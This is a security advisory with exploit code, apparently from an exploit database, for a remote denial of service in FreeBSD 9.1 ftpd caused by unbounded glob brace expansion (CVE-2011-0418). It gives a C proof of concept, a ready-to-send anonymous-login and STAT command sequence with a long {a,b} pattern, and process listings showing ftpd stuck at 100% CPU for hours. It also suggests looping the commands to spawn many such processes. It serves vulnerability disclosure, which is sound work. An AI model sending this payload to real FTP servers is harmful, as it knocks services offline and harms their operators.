# FreeBSD 9.1 - 'ftpd' Remote Denial of Service

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FreeBSD 9.1 ftpd Remote Denial of Service
Maksymilian Arciemowicz
http://cxsecurity.org/
http://cxsec.org/
Public Date: 01.02.2013
URL: http://cxsecurity.com/issue/WLB-2013020003
--- 1. Description ---
I have decided check BSD ftpd servers once again for wildcards. Old
bug in libc (CVE-2011-0418) allow to Denial of Service ftpd in last
FreeBSD version.
Attacker, what may connect anonymously to FTP server, may cause CPU
resource exhaustion. Login as a 'USER anonymous' 'PASS anonymous',
sending 'STAT' command with special wildchar, enought to create ftpd
process with 100% CPU usage.
Proof of Concept (POC):
See the difference between NetBSD/libc and FreeBSD/libc.
--- PoC ---
#include <stdio.h>
#include <glob.h>
int main(){
glob_t globbuf;
char stringa[]="{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}";
glob(stringa,GLOB_BRACE|GLOB_NOCHECK|GLOB_TILDE|GLOB_LIMIT, NULL, &globbuf);
}
--- PoC ---
--- Exploit ---
user anonymous
pass anonymous
stat {a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}
--- /Exploit ---
Result of attack:
ftp 13034 0.0 0.4 10416 1944 ?? R 10:48PM 0:00.96
ftpd: cxsec.org anonymous/anonymous (ftpd)
ftp 13035 0.0 0.4 10416 1944 ?? R 10:48PM 0:00.89
ftpd: cxsec.org anonymous/anonymous (ftpd)
ftp 13036 0.0 0.4 10416 1944 ?? R 10:48PM 0:00.73
ftpd: cxsec.org anonymous/anonymous (ftpd)
ftp 13046 0.0 0.4 10416 1952 ?? R 10:48PM 0:00.41
ftpd: cxsec.org anonymous/anonymous (ftpd)
ftp 13047 0.0 0.4 10416 1960 ?? R 10:48PM 0:00.42
ftpd: cxsec.org anonymous/anonymous (ftpd)
...
root 13219 0.0 0.3 10032 1424 ?? R 10:52PM 0:00.00
/usr/libexec/ftpd -dDA
root 13225 0.0 0.3 10032 1428 ?? R 10:52PM 0:00.00
/usr/libexec/ftpd -dDA
root 13409 0.0 0.3 10032 1404 ?? R 10:53PM 0:00.00
/usr/libexec/ftpd -dDA
root 13410 0.0 0.3 10032 1404 ?? R 10:53PM 0:00.00
/usr/libexec/ftpd -dDA
...
=>Sending:
STAT {a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}
=>Result:
@ps:
ftp 1336 100.0 0.5 10416 2360 ?? R 11:15PM 600:39.95
ftpd: 127.0.0.1: anonymous/anonymous@cxsecurity.com: \r\n (ftpd)$
@top:
1336 root 1 103 0 10416K 2360K RUN 600:53 100.00% ftpd
one request over 600m (~10h) execution time and 100% CPU usage. This
issue allow to create N ftpd processes with 100% CPU usage.
Just create loop while(1) and send these commands
---
user anonymous
pass anonymous
stat {a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}
---
NetBSD and OpenBSD has fixed this issue in glob(3)/libc (2011)
http://cvsweb.netbsd.org/bsdweb.cgi/src/lib/libc/gen/glob.c.diff?r1=1.24&r2=1.23.10.2
The funniest is that freebsd use GLOB_LIMIT in ftpd server.
http://www.freebsd.org/cgi/cvsweb.cgi/src/libexec/ftpd/ftpd.c
---
if (strpbrk(whichf, "~{[*?") != NULL) {
int flags = GLOB_BRACE|GLOB_NOCHECK|GLOB_TILDE;
memset(&gl, 0, sizeof(gl));
gl.gl_matchc = MAXGLOBARGS;
flags |= GLOB_LIMIT;
freeglob = 1;
if (glob(whichf, flags, 0, &gl)) {
---
but GLOB_LIMIT in FreeBSD dosen't work. glob(3) function allow to CPU
resource exhaustion. ;]
Libc was also vulnerable in Apple and Oracle products.
http://www.oracle.com/technetwork/topics/security/cpujan2011-194091.html
http://support.apple.com/kb/HT4723
only FreeBSD and GNU glibc are affected
--- 2. Exploit ---
http://cxsecurity.com/issue/WLB-2013010233
--- 3. Fix ---
Don't use ftpd on FreeBSD systems. :) You may use vsftpd to resolve
problem with security ;)
--- 4. References ---
Multiple Vendors libc/glob(3) remote ftpd resource exhaustion
http://cxsecurity.com/issue/WLB-2010100135
http://cxsecurity.com/cveshow/CVE-2010-2632
Multiple FTPD Server GLOB_BRACE|GLOB_LIMIT memory exhaustion
http://cxsecurity.com/issue/WLB-2011050004
http://cxsecurity.com/cveshow/CVE-2011-0418
More CWE-399 resource exhaustion examples:
http://cxsecurity.com/cwe/CWE-399
The regcomp implementation in the GNU C Library allows attackers to
cause a denial of service proftpd
http://cxsecurity.com/cveshow/CVE-2010-4051
http://cxsecurity.com/cveshow/CVE-2010-4052
http://www.kb.cert.org/vuls/id/912279
--- 5. Contact ---
Maksymilian Arciemowicz
max 4T cxsecurity.com
http://cxsecurity.com/
http://cxsec.org/
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